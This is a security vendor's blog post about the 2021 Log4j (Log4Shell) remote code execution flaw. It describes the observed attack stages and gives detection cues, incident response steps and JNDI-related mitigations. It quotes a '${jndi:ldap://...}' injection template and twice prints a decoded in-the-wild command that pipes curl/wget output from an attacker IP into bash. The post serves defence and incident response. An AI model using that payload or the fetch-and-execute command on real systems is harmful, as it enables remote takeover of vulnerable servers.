ITP Techblog

On the 10th of December, a new critical vulnerability known as log4J was exposed, allowing unauthenticated remote code execution. 

We at SecurityHQ predict that the ease of exploit, together with the vast range of affected vendors, are the perfect recipe for a fresh wave of ransomware, just in time for Christmas!

Log4j 2 is an open-source Java logging library developed by the Apache Foundation. The active zero-day vulnerability has been seen to affect log4j Java-based logging, to execute malicious code, and take over vulnerable systems (Affected Version - Apache Log4j 2.x <= 2.15.0-rc1).

A seemingly endless string of affected vendors can be tracked on the following GitHub. Please sit down before viewing this page!

You can read about the vulnerability on numerous vendor websites, however we wanted to provide insights into the real-world exploitation method that we are currently observing in the wild.

So, here's how the attack is likely to play out…

Stage 1: Attacker injects an absolute URL to a vulnerable JNDI lookup method

The first stage of the attack involves the attacker creating a specially crafted request. The attacker is likely to use the LDAP request via the JNDI java framework. So, you might see in your web server logs the following request…

Request Format: ${jndi:ldap://[insert Attacker IP]/ A]}, where "Attacker IP" is the control server and "A" is the command string.

Decoded version: (curl -s 45.155.205.233:5874/54.195.244.71:443||wget -q -O- 45.155.205.233:5874/54.195.244.71:443)|bash

What to look for: Request containing "${jndi:ldap" in the webserver request.

Stage 2: Successful Response

If Stage 1 is successful, you will observe a 20X Web Server Response Code, indicating the server has responded. Now the server has started a lookup to decode the string and allow the attacker to decode the Base 64 string and execute the payload onto the target system.

Here is an example of the decoded string that triggers the payload.

((curl -s 45.155.205.233:5874/54.195.244.71:443||wget -q -O-45.155.205.233:5874/54.195.244.71:443)|bash )

Stage 3: System Compromise

Now, as they say, the world is his oyster. From here on, he may use any number of tools and frameworks, such as PowerShell, to perform remote code execution and access to the server.

What to look for: Any requests including Base64 or alphanumeric strings

What's next?

The initial access phase is now complete, and the next stages are likely to be similar to those seen in the Hafnium and RCE vulnerabilities on Exchange earlier this year. Expect local account creation, lateral movement, and privilege escalation.

What to look for: local account creation, abnormal connections from the host server internally.  

Recommendations and mitigation

Obviously, you need to know your exposure to this attack, however, if you are unsure, then you may experience any of the three conditions.

1. Your web server is attacked AND responds successfully (as above)

• Firewall is seen preventing.

Recommendations if the webserver has responded successfully:

1. Isolate the web server and disconnect it from internet.
2. Block attached IOCs on firewall.
3. Contact the vendor to patch the vulnerability or apply mitigations provided below.
4. As web server responded to this request and take the webserver down from internet and scan for the log4j in the system, do a complete search of IOCs on AV/EDR.
5. Enable IDS/IPS signature in prevent mode on the perimeter firewall.

Mitigation:

1. Check with vendor and update log4j version. If update is not possible or available, it is possible to mitigate the issue by setting
   1. com.sun.jndi.rmi.object.trustURLCodebase to false
   2. com.sun.jndi.cosnaming.object.trustURLCodebase to false.
2. Blacklist Requests and user-agent strings that contain any ${jndi: or base64.
3. Restrict LDAP access via JNDI

Recommendations if the Web Server has Responded to Error Code

1. Block attached IOCs on the firewall.
2. Check for any internet-facing application vulnerable to the exploit in the environment. Contact the vendor to patch the vulnerability or apply mitigations provided below.
3. Enable IDS/IPS signature in prevent mode on the perimeter firewall.

Mitigation:

1.  Check with vendor and update log4j version. If update is not possible or available, it is possible to mitigate the issue by setting
   1. com.sun.jndi.rmi.object.trustURLCodebase to false
   2. com.sun.jndi.cosnaming.object.trustURLCodebase to false.
2. Blacklist Requests and user-agent strings that contain any ${jndi: or base64.
3. Restrict LDAP access via JNDI.

Recommendations if the firewall is seen preventing.

1. Block attached IOCs on the firewall.
2. Check for any internet-facing application vulnerable to the exploit in the environment. Contact the vendor to patch the vulnerability or apply mitigations provided below.
3. Onboard internet-facing web application logs with SOC.

Mitigation:

1. Check with the vendor and update log4j version. If an update is not possible or available, it is possible to mitigate the issue by setting
   1. com.sun.jndi.rmi.object.trustURLCodebase to false
   2. com.sun.jndi.cosnaming.object.trustURLCodebase to false
2. Blacklist Requests and user-agent strings that contain any ${jndi: or base64.

For more information, watch this video on Log4J Vulnerability Exploitation by Swapnil Bhosale, Security Consultant from SecurityHQ, for a demonstration of the Log4J vulnerability, with recommendations on how to mitigate the threat. View Video here.

To report an incident, do so here. Or, for more information regarding the attack as it continues to evolve, contact a security expert.

SecurityHQ is a global managed security service provider that delivers enterprise-grade security, ensuring that all IT virtual assets, cloud, and traditional infrastructures are protected.